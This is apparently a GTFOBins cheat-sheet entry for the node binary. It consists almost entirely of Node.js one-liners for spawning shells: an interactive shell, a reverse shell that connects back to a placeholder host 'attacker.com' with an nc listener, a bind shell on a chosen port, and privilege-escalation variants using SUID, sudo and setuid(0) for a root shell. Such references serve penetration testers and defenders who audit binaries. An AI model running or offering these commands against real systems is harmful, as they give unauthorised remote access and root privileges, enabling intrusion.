GTFOBins.github.io/_gtfobins/node.md
2018-09-12 22:02:05 +01:00

1.3 KiB

functions
execute-interactive reverse-shell-interactive bind-shell-interactive suid-enabled sudo-enabled capabilities-enabled
code
node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]});'
description code
Run `nc -l -p 12345` on the attacker box to receive the shell. export RHOST=attacker.com export RPORT=12345 node -e 'sh = require("child_process").spawn("/bin/sh"); net.connect(process.env.RPORT, process.env.RHOST, function () { this.pipe(sh.stdin); sh.stdout.pipe(this); sh.stderr.pipe(this); });'
description code
Run `nc target.com 12345` on the attacker box to connect to the shell. export LPORT=12345 node -e 'sh = require("child_process").spawn("/bin/sh"); require("net").createServer(function (client) { client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }).listen(process.env.LPORT);'
code
./node -e 'require("child_process").spawn("/bin/sh", ["-p"], {stdio: [0, 1, 2]});'
code
sudo node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]});'
code
./node -e 'process.setuid(0); require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]});'